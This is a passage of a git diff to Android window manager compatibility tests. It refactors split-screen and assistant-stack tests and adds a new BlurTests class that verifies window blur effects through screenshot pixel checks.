         mWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
@@ -973,25 +939,25 @@
         final ActivitySession activitySession = createManagedActivityClientSession()
                 .startActivity(getLaunchActivityBuilder()
                         .setUseInstrumentation()
-                        .setTargetActivity(RESIZEABLE_ACTIVITY)
-                        .setWindowingMode(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY));
+                        .setTargetActivity(RESIZEABLE_ACTIVITY));
+        putActivityInPrimarySplit(RESIZEABLE_ACTIVITY);
         SizeInfo dockedActivitySizes = getActivitySizeInfo(activitySession);
         SizeInfo applicationSizes = getAppSizeInfo(activitySession);
         assertSizesAreSame(dockedActivitySizes, applicationSizes);
 
         // Move the activity to fullscreen and check that the size was updated
         separateTestJournal();
-        setActivityTaskWindowingMode(RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+        mTaskOrganizer.dismissedSplitScreen(true /* primaryOnTop */);
         waitForOrFail("Activity and application configuration must match",
                 () -> activityAndAppSizesMatch(activitySession));
-        final SizeInfo fullscreenSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY);
+        final SizeInfo fullscreenSizes = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY);
         applicationSizes = getAppSizeInfo(activitySession);
         assertSizesAreSane(fullscreenSizes, dockedActivitySizes);
         assertSizesAreSame(fullscreenSizes, applicationSizes);
 
         // Move the activity to docked size again, check if the sizes were updated
         separateTestJournal();
-        setActivityTaskWindowingMode(RESIZEABLE_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        putActivityInPrimarySplit(RESIZEABLE_ACTIVITY);
         waitForOrFail("Activity and application configuration must match",
                 () -> activityAndAppSizesMatch(activitySession));
         dockedActivitySizes = getActivitySizeInfo(activitySession);
@@ -1021,8 +987,8 @@
                         .setUseInstrumentation()
                         .setTargetActivity(RESIZEABLE_ACTIVITY)
                         .setNewTask(true)
-                        .setMultipleTask(true)
-                        .setWindowingMode(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY));
+                        .setMultipleTask(true));
+        putActivityInPrimarySplit(RESIZEABLE_ACTIVITY);
         waitForOrFail("Activity and application configuration must match",
                 () -> activityAndAppSizesMatch(secondActivitySession));
         SizeInfo dockedActivitySizes = getActivitySizeInfo(secondActivitySession);
@@ -1037,8 +1003,8 @@
                         .setUseInstrumentation()
                         .setTargetActivity(RESIZEABLE_ACTIVITY)
                         .setNewTask(true)
-                        .setMultipleTask(true)
-                        .setWindowingMode(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY));
+                        .setMultipleTask(true));
+        putActivityInPrimarySplit(RESIZEABLE_ACTIVITY);
         waitForOrFail("Activity and application configuration must match",
                 () -> activityAndAppSizesMatch(thirdActivitySession));
         SizeInfo secondarySplitActivitySizes = getActivitySizeInfo(thirdActivitySession);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
index d777db2..25f9152 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
@@ -20,12 +20,12 @@
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
-import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.ComponentNameUtils.getActivityName;
 import static android.server.wm.UiDeviceUtils.pressHomeButton;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
 import static android.server.wm.app.Components.ANIMATION_TEST_ACTIVITY;
 import static android.server.wm.app.Components.ASSISTANT_ACTIVITY;
 import static android.server.wm.app.Components.ASSISTANT_VOICE_INTERACTION_SERVICE;
@@ -55,8 +55,6 @@
 import android.provider.Settings;
 import android.server.wm.settings.SettingsSession;
 
-import androidx.test.filters.FlakyTest;
-
 import org.junit.Ignore;
 import org.junit.Test;
 
@@ -105,7 +103,7 @@
         assumeTrue(supportsSplitScreenMultiWindow());
 
         // Launch a pinned stack task
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         waitForValidStateWithActivityTypeAndWindowingMode(
                 PIP_ACTIVITY, ACTIVITY_TYPE_STANDARD, WINDOWING_MODE_PINNED);
         mWmState.assertContainsStack("Must contain pinned stack.",
@@ -115,10 +113,6 @@
         launchActivitiesInSplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
                 getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
 
         // Enable the assistant and launch an assistant activity, ensure it is on top
         try (final AssistantSession assistantSession = new AssistantSession()) {
@@ -150,10 +144,6 @@
         launchActivitiesInSplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
                 getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
 
         assertAssistantStackCanLaunchAndReturnFromNewTask(WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
     }
@@ -165,14 +155,14 @@
             assistantSession.setVoiceInteractionService(ASSISTANT_VOICE_INTERACTION_SERVICE);
 
             launchActivityOnDisplayNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK, mAssistantDisplayId,
-                    EXTRA_ASSISTANT_LAUNCH_NEW_TASK, getActivityName(TEST_ACTIVITY),
-                    EXTRA_ASSISTANT_DISPLAY_ID, Integer.toString(mAssistantDisplayId));
+                    extraString(EXTRA_ASSISTANT_LAUNCH_NEW_TASK, getActivityName(TEST_ACTIVITY)),
+                    extraString(EXTRA_ASSISTANT_DISPLAY_ID, Integer.toString(mAssistantDisplayId)));
             // Ensure that the fullscreen stack is on top and the test activity is now visible
             waitForValidStateWithActivityTypeAndWindowingMode(
                     TEST_ACTIVITY, ACTIVITY_TYPE_STANDARD, expectedWindowingMode);
         }
 
-        if (isAssistantOnTop()) {
+        if (isAssistantOnTopOfDream()) {
             // If the assistant is configured to be always-on-top, then the new task should have
             // been started behind it and the assistant stack should still be on top.
             mWmState.assertFocusedActivity(
@@ -203,8 +193,8 @@
         // If the Assistant is configured to be always-on-top, then the assistant activity
         // started in setUp() will not allow any other activities to start. Therefore we should
         // remove it before launching a fullscreen activity.
-        if (isAssistantOnTop()) {
-            removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
+        if (isAssistantOnTopOfDream()) {
+            removeRootTasksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
         }
 
         // Launch an assistant activity on top of an existing fullscreen activity, and ensure that
@@ -214,7 +204,7 @@
             assistantSession.setVoiceInteractionService(ASSISTANT_VOICE_INTERACTION_SERVICE);
 
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                    EXTRA_ASSISTANT_FINISH_SELF, "true");
+                    extraString(EXTRA_ASSISTANT_FINISH_SELF, "true"));
             mWmState.waitFor((amState) -> !amState.containsActivity(ASSISTANT_ACTIVITY),
                     getActivityName(ASSISTANT_ACTIVITY) + " finished");
         }
@@ -235,7 +225,7 @@
             assistantSession.setVoiceInteractionService(ASSISTANT_VOICE_INTERACTION_SERVICE);
 
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                    EXTRA_ASSISTANT_ENTER_PIP, "true");
+                    extraString(EXTRA_ASSISTANT_ENTER_PIP, "true"));
         }
         waitForValidStateWithActivityType(ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
         mWmState.assertDoesNotContainStack("Must not contain pinned stack.",
@@ -248,12 +238,12 @@
             assistantSession.setVoiceInteractionService(ASSISTANT_VOICE_INTERACTION_SERVICE);
 
             // Go home, launch the assistant and check to see that home is visible
-            removeStacksInWindowingModes(WINDOWING_MODE_FULLSCREEN,
+            removeRootTasksInWindowingModes(WINDOWING_MODE_FULLSCREEN,
                     WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
             pressHomeButton();
             resumeAppSwitches();
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                    EXTRA_ASSISTANT_IS_TRANSLUCENT, "true");
+                    extraString(EXTRA_ASSISTANT_IS_TRANSLUCENT, "true"));
             waitForValidStateWithActivityType(
                     TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
             assertAssistantStackExists();
@@ -264,10 +254,10 @@
 
             // Launch a fullscreen app and then launch the assistant and check to see that it is
             // also visible
-            removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
+            removeRootTasksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
             launchActivityOnDisplay(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN, mAssistantDisplayId);
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                    EXTRA_ASSISTANT_IS_TRANSLUCENT, "true");
+                    extraString(EXTRA_ASSISTANT_IS_TRANSLUCENT, "true"));
             waitForValidStateWithActivityType(
                     TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
             assertAssistantStackExists();
@@ -275,12 +265,12 @@
 
             // Go home, launch assistant, launch app into fullscreen with activity present, and go
             // back.Ensure home is visible.
-            removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
+            removeRootTasksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
             pressHomeButton();
             resumeAppSwitches();
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                    EXTRA_ASSISTANT_IS_TRANSLUCENT, "true",
-                    EXTRA_ASSISTANT_LAUNCH_NEW_TASK, getActivityName(TEST_ACTIVITY));
+                    extraString(EXTRA_ASSISTANT_IS_TRANSLUCENT, "true"),
+                    extraString(EXTRA_ASSISTANT_LAUNCH_NEW_TASK, getActivityName(TEST_ACTIVITY)));
             waitForValidStateWithActivityTypeAndWindowingMode(
                     TEST_ACTIVITY, ACTIVITY_TYPE_STANDARD, WINDOWING_MODE_FULLSCREEN);
 
@@ -298,14 +288,12 @@
             // that it
             // is also visible
             if (supportsSplitScreenMultiWindow() &&  assistantRunsOnPrimaryDisplay()) {
-                removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
+                removeRootTasksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
                 launchActivitiesInSplitScreen(
                         getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
                         getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-                mWmState.assertContainsStack("Must contain docked stack.",
-                        WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
                 launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                        EXTRA_ASSISTANT_IS_TRANSLUCENT, "true");
+                        extraString(EXTRA_ASSISTANT_IS_TRANSLUCENT, "true"));
                 waitForValidStateWithActivityType(
                         TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
                 assertAssistantStackExists();
@@ -339,7 +327,12 @@
             launchActivityOnDisplay(ANIMATION_TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN, mAssistantDisplayId);
             // Wait for animation finished.
             mWmState.waitForActivityState(ANIMATION_TEST_ACTIVITY, STATE_RESUMED);
-            mWmState.assertVisibility(ASSISTANT_ACTIVITY, isAssistantOnTop());
+
+            if (isAssistantOnTopOfDream()) {
+                mWmState.assertVisibility(ASSISTANT_ACTIVITY, true);
+            } else {
+                mWmState.waitAndAssertVisibilityGone(ASSISTANT_ACTIVITY);
+            }
 
             // Launch the assistant again and ensure that it goes into the same task
             launchActivityOnDisplayNoWait(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION,
@@ -368,9 +361,9 @@
             // Launch a fullscreen activity and a PIP activity, then launch the assistant, and
             // ensure that the test activity is still visible
             launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-            launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+            launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
-                    EXTRA_ASSISTANT_IS_TRANSLUCENT, String.valueOf(true));
+                    extraString(EXTRA_ASSISTANT_IS_TRANSLUCENT, String.valueOf(true)));
             waitForValidStateWithActivityType(
                     TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
             assertAssistantStackExists();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
new file mode 100644
index 0000000..d6c67d3
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
@@ -0,0 +1,371 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm;
+
+import static android.app.ActivityTaskManager.INVALID_STACK_ID;
+import static android.provider.Settings.Global.ANIMATOR_DURATION_SCALE;
+import static android.server.wm.CliIntentExtra.extraInt;
+import static android.server.wm.ComponentNameUtils.getWindowName;
+import static android.server.wm.app.Components.BACKGROUND_IMAGE_ACTIVITY;
+import static android.server.wm.app.Components.BAD_BLUR_ACTIVITY;
+import static android.server.wm.app.Components.BLUR_ACTIVITY;
+import static android.server.wm.app.Components.BLUR_ATTRIBUTES_ACTIVITY;
+import static android.server.wm.app.Components.BlurActivity.EXTRA_BACKGROUND_BLUR_RADIUS_PX;
+import static android.server.wm.app.Components.BlurActivity.EXTRA_BLUR_BEHIND_RADIUS_PX;
+import static android.server.wm.app.Components.BlurActivity.EXTRA_NO_BLUR_BACKGROUND_COLOR;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ComponentName;
+import android.content.ContentResolver;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.graphics.Rect;
+import android.platform.test.annotations.Presubmit;
+import android.provider.Settings;
+import android.view.WindowManager;
+
+import androidx.test.filters.FlakyTest;
+
+import com.android.compatibility.common.util.ColorUtils;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+@Presubmit
+@FlakyTest(detail = "Promote once confirmed non-flaky")
+public class BlurTests extends ActivityManagerTestBase {
+    private static final int BACKGROUND_BLUR_PX = dpToPx(50);
+    private static final int BLUR_BEHIND_PX = dpToPx(25);
+    private static final int NO_BLUR_BACKGROUND_COLOR = Color.BLACK;
+    private static final int BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME = 300;
+    private static final int BACKGROUND_BLUR_DYNAMIC_UPDATE_WAIT_TIME = 100;
+    private float mAnimatorDurationScale;
+
+    @Before
+    public void setUp() {
+        assumeTrue(supportsBlur());
+        mContext.getSystemService(WindowManager.class).setForceCrossWindowBlurDisabled(false);
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            final ContentResolver resolver = getInstrumentation().getContext().getContentResolver();
+            mAnimatorDurationScale =
+                    Settings.Global.getFloat(resolver, ANIMATOR_DURATION_SCALE, 1f);
+            Settings.Global.putFloat(resolver, ANIMATOR_DURATION_SCALE, 0);
+        });
+        launchActivity(BACKGROUND_IMAGE_ACTIVITY);
+        mWmState.waitForValidState(BACKGROUND_IMAGE_ACTIVITY);
+        verifyOnlyBackgroundImageVisible();
+        assertTrue(mContext.getSystemService(WindowManager.class).isCrossWindowBlurEnabled());
+    }
+
+    @After
+    public void tearDown() {
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            Settings.Global.putFloat(getInstrumentation().getContext().getContentResolver(),
+                    ANIMATOR_DURATION_SCALE, mAnimatorDurationScale);
+        });
+        mContext.getSystemService(WindowManager.class).setForceCrossWindowBlurDisabled(false);
+    }
+
+    @Test
+    public void testBackgroundBlurSimple() {
+        startTestActivity(BLUR_ACTIVITY,
+                          extraInt(EXTRA_BACKGROUND_BLUR_RADIUS_PX, BACKGROUND_BLUR_PX));
+
+        final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
+        assertBackgroundBlur(takeScreenshot(), windowFrame);
+    }
+
+    @Test
+    public void testBlurBehindSimple() {
+        startTestActivity(BLUR_ACTIVITY,
+                          extraInt(EXTRA_BLUR_BEHIND_RADIUS_PX, BLUR_BEHIND_PX),
+                          extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, NO_BLUR_BACKGROUND_COLOR));
+
+        final Bitmap screenshot = takeScreenshot();
+        final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
+        assertBlurBehind(screenshot, windowFrame);
+        assertNoBackgroundBlur(screenshot, windowFrame);
+    }
+
+    @Test
+    public void testNoBackgroundBlurWhenBlurDisabled() {
+        mContext.getSystemService(WindowManager.class).setForceCrossWindowBlurDisabled(true);
+        startTestActivity(BLUR_ACTIVITY,
+                          extraInt(EXTRA_BACKGROUND_BLUR_RADIUS_PX, BACKGROUND_BLUR_PX),
+                          extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, Color.TRANSPARENT));
+        verifyOnlyBackgroundImageVisible();
+    }
+
+    @Test
+    public void testNoBackgroundBlurForNonTranslucentWindow() {
+        startTestActivity(BAD_BLUR_ACTIVITY,
+                          extraInt(EXTRA_BACKGROUND_BLUR_RADIUS_PX, BACKGROUND_BLUR_PX),
+                          extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, Color.TRANSPARENT));
+        verifyOnlyBackgroundImageVisible();
+    }
+
+    @Test
+    public void testNoBlurBehindWhenBlurDisabled() {
+        mContext.getSystemService(WindowManager.class).setForceCrossWindowBlurDisabled(true);
+        startTestActivity(BLUR_ACTIVITY,
+                          extraInt(EXTRA_BLUR_BEHIND_RADIUS_PX, BLUR_BEHIND_PX),
+                          extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, Color.TRANSPARENT));
+        verifyOnlyBackgroundImageVisible();
+    }
+
+    @Test
+    public void testNoBlurBehindWhenFlagNotSet() {
+        startTestActivity(BAD_BLUR_ACTIVITY,
+                          extraInt(EXTRA_BLUR_BEHIND_RADIUS_PX, BLUR_BEHIND_PX),
+                          extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, Color.TRANSPARENT));
+        verifyOnlyBackgroundImageVisible();
+    }
+
+    @Test
+    public void testBackgroundBlurActivatesFallbackDynamically() throws Exception {
+        startTestActivity(BLUR_ACTIVITY,
+                          extraInt(EXTRA_BACKGROUND_BLUR_RADIUS_PX, BACKGROUND_BLUR_PX),
+                          extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, NO_BLUR_BACKGROUND_COLOR));
+        final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
+
+        Bitmap screenshot = takeScreenshot();
+        assertBackgroundBlur(takeScreenshot(), windowFrame);
+        assertNoBlurBehind(screenshot, windowFrame);
+
+        mContext.getSystemService(WindowManager.class).setForceCrossWindowBlurDisabled(true);
+        Thread.sleep(BACKGROUND_BLUR_DYNAMIC_UPDATE_WAIT_TIME);
+
+        screenshot = takeScreenshot();
+        assertNoBackgroundBlur(screenshot, windowFrame);
+        assertNoBlurBehind(screenshot, windowFrame);
+
+        mContext.getSystemService(WindowManager.class).setForceCrossWindowBlurDisabled(false);
+        Thread.sleep(BACKGROUND_BLUR_DYNAMIC_UPDATE_WAIT_TIME);
+
+        screenshot = takeScreenshot();
+        assertBackgroundBlur(takeScreenshot(), windowFrame);
+        assertNoBlurBehind(screenshot, windowFrame);
+    }
+
+    @Test
+    public void testBlurBehindDisabledDynamically() throws Exception {
+        startTestActivity(BLUR_ACTIVITY,
+                          extraInt(EXTRA_BLUR_BEHIND_RADIUS_PX, BLUR_BEHIND_PX),
+                          extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, NO_BLUR_BACKGROUND_COLOR));
+        final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
+
+        Bitmap screenshot = takeScreenshot();
+        assertBlurBehind(screenshot, windowFrame);
+        assertNoBackgroundBlur(screenshot, windowFrame);
+
+        mContext.getSystemService(WindowManager.class).setForceCrossWindowBlurDisabled(true);
+        Thread.sleep(BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME);
+
+        screenshot = takeScreenshot();
+        assertNoBackgroundBlur(screenshot, windowFrame);
+        assertNoBlurBehind(screenshot, windowFrame);
+
+        mContext.getSystemService(WindowManager.class).setForceCrossWindowBlurDisabled(false);
+        Thread.sleep(BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME);
+
+        screenshot = takeScreenshot();
+        assertBlurBehind(screenshot,  windowFrame);
+        assertNoBackgroundBlur(screenshot, windowFrame);
+    }
+
+    @Test
+    public void testBlurBehindAndBackgroundBlur() throws Exception {
+        startTestActivity(BLUR_ACTIVITY,
+                          extraInt(EXTRA_BLUR_BEHIND_RADIUS_PX, BLUR_BEHIND_PX),
+                          extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, NO_BLUR_BACKGROUND_COLOR),
+                          extraInt(EXTRA_BACKGROUND_BLUR_RADIUS_PX, BACKGROUND_BLUR_PX));
+        final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
+
+        Bitmap screenshot = takeScreenshot();
+        assertBlurBehind(screenshot, windowFrame);
+        assertBackgroundBlur(screenshot, windowFrame);
+
+        mContext.getSystemService(WindowManager.class).setForceCrossWindowBlurDisabled(true);
+        Thread.sleep(BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME);
+
+        screenshot = takeScreenshot();
+        assertNoBackgroundBlur(screenshot, windowFrame);
+        assertNoBlurBehind(screenshot, windowFrame);
+
+        mContext.getSystemService(WindowManager.class).setForceCrossWindowBlurDisabled(false);
+        Thread.sleep(BLUR_BEHIND_DYNAMIC_UPDATE_WAIT_TIME);
+
+        screenshot = takeScreenshot();
+        assertBlurBehind(screenshot, windowFrame);
+        assertBackgroundBlur(screenshot, windowFrame);
+    }
+
+    @Test
+    public void testBlurBehindAndBackgroundBlurSetWithAttributes() {
+        startTestActivity(BLUR_ATTRIBUTES_ACTIVITY);
+        final Rect windowFrame = getWindowFrame(BLUR_ATTRIBUTES_ACTIVITY);
+        final Bitmap screenshot = takeScreenshot();
+
+        assertBlurBehind(screenshot, windowFrame);
+        assertBackgroundBlur(screenshot, windowFrame);
+    }
+
+    @Test
+    public void testBlurDestroyedAfterActivityFinished() {
+        startTestActivity(BLUR_ACTIVITY,
+                          extraInt(EXTRA_BLUR_BEHIND_RADIUS_PX, BLUR_BEHIND_PX),
+                          extraInt(EXTRA_NO_BLUR_BACKGROUND_COLOR, NO_BLUR_BACKGROUND_COLOR),
+                          extraInt(EXTRA_BACKGROUND_BLUR_RADIUS_PX, BACKGROUND_BLUR_PX));
+        final Rect windowFrame = getWindowFrame(BLUR_ACTIVITY);
+        Bitmap screenshot = takeScreenshot();
+
+        assertBlurBehind(screenshot, windowFrame);
+        assertBackgroundBlur(screenshot, windowFrame);
+
+        mBroadcastActionTrigger.finishBroadcastReceiverActivity();
+        mWmState.waitAndAssertActivityRemoved(BLUR_ACTIVITY);
+
+        verifyOnlyBackgroundImageVisible();
+    }
+
+    private void startTestActivity(ComponentName activityName, final CliIntentExtra... extras) {
+        launchActivity(activityName, extras);
+        assertNotEquals(mWmState.getRootTaskIdByActivity(activityName), INVALID_STACK_ID);
+    }
+
+
+    private Rect getWindowFrame(ComponentName activityName) {
+        String windowName = getWindowName(activityName);
+        mWmState.computeState(activityName);
+        return mWmState.getMatchingVisibleWindowState(windowName).get(0).getFrame();
+    }
+
+    private void verifyOnlyBackgroundImageVisible() {
+        final Bitmap screenshot = takeScreenshot();
+        final int height = screenshot.getHeight();
+        final int width = screenshot.getWidth();
+
+        final int blueWidth = width / 2;
+
+        for (int x = 0; x < width; x++) {
+            for (int y = 0; y < height; y++) {
+                if (x < blueWidth) {
+                    ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
+                            Color.BLUE, screenshot.getPixel(x, y), 0);
+                } else {
+                    ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
+                            Color.RED, screenshot.getPixel(x, y), 0);
+                }
+            }
+        }
+    }
+
+    private static int dpToPx(int dp) {
+        final float density =
+                getInstrumentation().getContext().getResources().getDisplayMetrics().density;
+        return (int) (dp * density + 0.5f);
+    }
+
+    private static void assertBlurBehind(Bitmap screenshot, Rect windowFrame) {
+        assertBlur(screenshot, BLUR_BEHIND_PX, 0, windowFrame.top);
+        assertBlur(screenshot, BLUR_BEHIND_PX, windowFrame.bottom, screenshot.getHeight());
+    }
+
+    private static void assertBackgroundBlur(Bitmap screenshot, Rect windowFrame) {
+        assertBlur(screenshot, BACKGROUND_BLUR_PX, windowFrame.top, windowFrame.bottom);
+    }
+
+    private static void assertNoBlurBehind(Bitmap screenshot, Rect windowFrame) {
+        for (int x = 0; x < screenshot.getWidth(); x++) {
+            for (int y = 0; y < screenshot.getHeight(); y++) {
+                if (x < windowFrame.left) {
+                    ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
+                            Color.BLUE, screenshot.getPixel(x, y), 0);
+                } else if (x < screenshot.getWidth() / 2) {
+                    if (y < windowFrame.top || y > windowFrame.bottom) {
+                        ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
+                                Color.BLUE, screenshot.getPixel(x, y), 0);
+                    }
+                } else if (x <= windowFrame.right) {
+                    if (y < windowFrame.top || y > windowFrame.bottom) {
+                        ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
+                                Color.RED, screenshot.getPixel(x, y), 0);
+                    }
+                } else if (x > windowFrame.right) {
+                    ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
+                            Color.RED, screenshot.getPixel(x, y), 0);
+                }
+
+            }
+        }
+    }
+
+    private static void assertNoBackgroundBlur(Bitmap screenshot, Rect windowFrame) {
+        for (int y = windowFrame.top; y < windowFrame.bottom; y++) {
+            for (int x = windowFrame.left; x < windowFrame.right; x++) {
+                ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
+                        NO_BLUR_BACKGROUND_COLOR, screenshot.getPixel(x, y), 0);
+            }
+        }
+    }
+
+    private static void assertBlur(Bitmap screenshot, int blurRadius, int startHeight,
+                                   int endHeight) {
+        final int width = screenshot.getWidth();
+
+        // Adjust the test to check a smaller part of the blurred area in order to accept various
+        // blur algorithm approximations used in RenderEngine
+        final int kawaseOffset = (int) (blurRadius * 0.7f);
+        final int blurAreaStartX = width / 2 - blurRadius + kawaseOffset;
+        final int blurAreaEndX = width / 2 + blurRadius - kawaseOffset;
+        final int stepSize = kawaseOffset / 4;
+
+        Color previousColor;
+        Color currentColor;
+        final int unaffectedBluePixelX = width / 2 - blurRadius - 1;
+        final int unaffectedRedPixelX = width / 2 + blurRadius + 1;
+        for (int y = startHeight; y < endHeight; y++) {
+            ColorUtils.verifyColor(
+                    "failed for pixel (x, y) = (" + unaffectedBluePixelX + ", " + y + ")",
+                    Color.BLUE, screenshot.getPixel(unaffectedBluePixelX, y), 0);
+            previousColor = Color.valueOf(Color.BLUE);
+            for (int x = blurAreaStartX; x <= blurAreaEndX; x += stepSize) {
+                currentColor = screenshot.getColor(x, y);
+                assertTrue("assertBlur failed for blue for pixel (x, y) = (" + x + ", " + y + ");"
+                        + " previousColor blue: " + previousColor.blue()
+                        + ", currentColor blue: " + currentColor.blue()
+                        , previousColor.blue() > currentColor.blue());
+                assertTrue("assertBlur failed for red for pixel (x, y) = (" + x + ", " + y + ");"
+                       + " previousColor red: " + previousColor.red()
+                       + ", currentColor red: " + currentColor.red(),
+                       previousColor.red() < currentColor.red());
+
+                previousColor = currentColor;
+            }
+            ColorUtils.verifyColor(
+                    "failed for pixel (x, y) = (" + unaffectedRedPixelX + ", " + y + ")",
+                    Color.RED, screenshot.getPixel(unaffectedRedPixelX, y), 0);
+        }
+    }
+}
